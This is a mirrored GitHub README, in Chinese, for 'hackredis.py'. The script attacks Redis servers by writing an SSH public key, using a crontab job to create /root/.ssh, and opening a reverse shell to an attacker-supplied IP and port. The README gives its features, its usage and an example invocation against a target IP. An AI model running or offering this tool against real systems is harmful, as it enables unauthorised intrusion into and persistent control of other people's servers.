Giter Club home page Giter Club logo

hackredis's Introduction

0x01 脚本功能

  1. 写入ssh公钥
  2. 反弹shell
  3. 如果没有.ssh目录,非ubuntu系统利用crontab定时任务新建/root/.ssh目录,再写公钥、反弹shell
  4. 如果没有/root/.ssh/目录,该脚本不支持ubuntu系统,所以反弹shell使用了bash -i,导致也无关紧要

0x02 脚本用法

脚本用法

usage: hackredis.py [-h] [-t TARGET_IP] [-sp SSH_PORT] [-rsi REBOUND_SHELL_IP]
                    [-rsp REBOUND_SHELL_PORT] [-pubkey SSH_PUBLIC_KEYFILE]
                    [-prikey SSH_PRIVATE_KEYFILE]

For Example:
-----------------------------------------------------------------------------
python hackredis.py -t 123.56.11.22 -sp 22 -rsi x.x.x.x -rsp 5555 -pubkey
ssh_public_key -prikey ssh_private_key

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET_IP          target ip
  -sp SSH_PORT          ssh port to login ssh
  -rsi REBOUND_SHELL_IP
                        rebound shell ip
  -rsp REBOUND_SHELL_PORT
                        rebound shell port
  -pubkey SSH_PUBLIC_KEYFILE
                        ssh public key file
  -prikey SSH_PRIVATE_KEYFILE
                        ssh private key file

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.